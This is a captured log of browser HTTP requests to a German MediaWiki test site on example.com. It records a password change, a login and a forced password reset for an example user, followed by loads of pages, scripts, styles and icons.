{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1k28j", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 143", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "action=validatepassword&format=json&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
{"method": "POST", "target": "/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "headers": ["Host: example.com", "Content-Length: 333", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": "title=Spezial%3AAnmeldeinformationen+%C3%A4ndern%2FMediaWiki%5CAuth%5CPasswordAuthenticationRequest&password=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&retype=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wpusername=&wpEditToken=5568a8e4b9211e69614b1ae1194c7f016af3a63b%2B%5C&wpAuthToken=629fad74e2a9259896c7a10ad3c323246af3a63b%2B%5C&authAction=change"}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.changecredentials%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=12dem", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmeldeinformationen_%C3%A4ndern/MediaWiki%5CAuth%5CPasswordAuthenticationRequest", "Accept-Encoding: gzip, deflate", "Cookie: my_wikiUserID=3; my_wikiUserName=Beispielnutzer; UseDC=master; my_wiki_session=jo9c7tpgkigl1rrolnol4gfejacn8nbo; cpPosIndex=2%401794352700%237671c2c53093b0ca272aa2d825d0a65d"], "body": ""}
{"method": "GET", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jkzyg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": ""}
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 219", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=Beispielnutzer&wpPassword=Z%3E%22%7BZ%5CQDwqBQs%25v%7D%60nBu&wploginattempt=Anmelden&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=11794fbe451c06fec8d46bece48fabdb6af3a641%2B%5C"}
{"method": "POST", "target": "/index.php/Spezial:Anmelden", "headers": ["Host: example.com", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=eodtjgih9kbvcamkpkb68vmnv4791hdt"], "body": "title=Spezial%3AAnmelden&wpName=&wpPassword=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&retype=gJ%3CEcT%29jhZ%27%60GC%3EcX%7EhM&wploginattempt=Mit+der+Anmeldung+fortfahren&wpEditToken=%2B%5C&authAction=login-continue&force=&wpLoginToken=f10651d983c774ff6157b6727ba949c66af3a642%2B%5C"}
{"method": "GET", "target": "/index.php/Hauptseite", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Anmelden", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=2osrg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
